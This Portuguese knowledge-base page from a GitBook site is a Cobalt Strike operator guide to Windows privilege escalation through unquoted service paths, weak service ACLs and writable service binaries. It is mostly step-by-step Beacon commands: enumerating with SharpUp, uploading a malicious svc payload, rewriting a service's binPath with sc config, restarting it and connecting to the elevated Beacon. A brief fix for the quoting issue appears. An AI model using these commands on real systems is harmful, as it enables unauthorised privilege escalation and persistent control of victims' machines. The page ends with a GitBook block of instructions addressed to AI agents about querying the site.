> For the complete documentation index, see [llms.txt](https://mysther.gitbook.io/knowledge-base/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://mysther.gitbook.io/knowledge-base/ataques/tools/cobalt-strike/escalacao-de-privilegios.md).

# Escalação de Privilégios

### Enumeração de Serviços

Comando para saber quais serviços estão presentes no SO e quais os seus executáveis

```bash
run wmic service get name, pathname
```

###

### Unquoted Service Path

Execute o comando abaixo no Beacon para executar o `SharpUp.exe` na máquina atacante

```bash
execute-assembly <C:\path\to\SharpUp\SharpUp\bin\Release\SharpUp.exe> audit UnquotedServicePath
```

Caso encontre alguma vulnerabilidade, faça upload do executável malicioso, porém, se atente com o tipo de arquivo que irá enviar. Ao utilizar o Menu `Payloads` > `Windows Stageless Generate All Payloads`, envie arquivos que contém o `svc` no nome, pois estes precisam interagir com o Service Control Manager. Um bom exemplo que pode ser utilizado, é o arquivo `tcp-local_x64.svc.exe`. É recomendado utilizar Beacons TCP vinculados ao host local apenas para escalação de privilégios. O próximo passo consiste em reiniciar o serviço. Provavelmente você não terá esse permissão, então uma saída seria reiniciar a máquina. Note que após fazer isso, o Beacon não apareceu no painel do CS, pois ele está como uma conexão local. Então devemos entrar no Beacon da máquina alvo (pode ser a mesma que utilizou anteriormente) e então execute o comando abaixo para triggar o novo Beacon, que provavelmente terá um usuário com mais privilégios no SO.

```bash
connect localhost 4444
```

Para remover o Beacon, basta deletar o executável. E para corrigir o problemas das aspas duplas, deve-se configurar o serviço da seguinte maneira (altere para o path correto):

```bash
run sc config <service> binPath= \""C:\Program Files\Vulnerable Service\Start.exe"\"
```

### Weak Service Permission

Execute o comando abaixo no Beacon para executar o `SharpUp.exe` na máquina atacante

```bash
execute-assembly <C:\Path\to\SharpUp\SharpUp\bin\Release\SharpUp.exe> audit ModifiableServices
```

Em alguns casos, pode ser que o SharpUp traga que um determinado serviço apresente vulnverabilidade, porém ele não informa quais as permissões que esse serviço possui. Sendo asism, precisamos verificar mais detalhes sobre isso, então execute os comandos abaixo no Beacon:

```bash
powershell-import <C:\path\to\Get-ServiceAcl.ps1>
powershell Get-ServiceAcl -Name <servico-vulneravel> | select -expand Access
```

A união das permissões (campo `ServiceRights`) `ChangeConfig` `Start` e `Stop` pode ser um cenário perfeito, pois assim podemos alterar as configurações (mudar o executável) e depois reiniciar o serviço. A saída do comando acima nem sempre irá mostrar (campo `IdentityReference`) de uma forma clara que o seu específico usuários tem permissões sobre o serviço, por esse motivo devemos sempre ficar de olho nos grupos em que fazemos partes e também no acesso de `NT AUTHORITY\Authenticated Users`, que inclui todos os usuários que estão autenticados. Dando continuidade, vamos então pegar mais detalhes desse serviço, em especial o seu path, através do comando:

```bash
run sc qc <service>
```

Vamos então alterar o path do seu executável (binPath), mas antes precisamos fazer o upload do nosso executável malicioso, lembrando sempre que para escalação de privilégios, iremos utilizar o `tcp-local` que foi gerado através do SC (Generate All Payloads) e também conter um `svc` no nome, já que nesse caso estamos trabalhando com Services do Windows.

```bash
cd C:\windows\temp
upload <c:\path\to\tcp-local_x64.svc.exe>
run sc config <service> binPath=  C:\windows\temp\tcp-local_x64.svc.exe
```

**OBS.:** Note que após o `binPath=` possui um espaço, isso é intencional, pois é assim que está na documentação de ajuda do `sc`

Para verificar se o path foi realmente atualizado, faça um consulta nas configurações do serviço

```bash
run sc qc <service>
```

Caso esteja correto, vamos reiniciar o serviço

```bash
run sc stop <service>
run sc start <service>
```

Caso queria remover o Beacon, altere novamente o valor do `binPath` para o valor correto e reinicie o serviço. Lembre de colocar aspas duplas, para não gerar outra vulnerabilidade.

Agora execute no Beacon:

```bash
connect localhost 4444
```

### Weak Service Binary Permissions

Esta é uma ligeira variação da vulnerabilidade anterior, mas em vez das permissões fracas estarem no serviço, estão no próprio binário do serviço. Ao verificarmos as permissões de um executável de serviço, podemos nos deparar com um `BUILTIN\Users Allow Modify, Synchronize`. Esse `modify` nos permite sobrescrever o binário por outro código. Certifique-se de fazer o backup antes de prosseguir.

```bash
powershell Get-Acl -Path "<C:\path\to\service.exe>" | fl
```

Basta então fazer upload do arquivo, lembrando que como se trata de um serviço, pode ser que seja necessário ter pará-lo antes. e receber mensagens como `[-] could not upload file: 32 - ERROR_SHARING_VIOLATION`, pegue o valor numeral, no caso 32 e execute o comando abaixo para ter mais detalhes:

```bash
run net helpmsg 32
```

### Sites

```bash
# SharpUp
https://github.com/GhostPack/SharpUp

# Get-ServiceAcl
https://rohnspowershellblog.wordpress.com/2013/03/19/viewing-service-acls/
```


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://mysther.gitbook.io/knowledge-base/ataques/tools/cobalt-strike/escalacao-de-privilegios.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
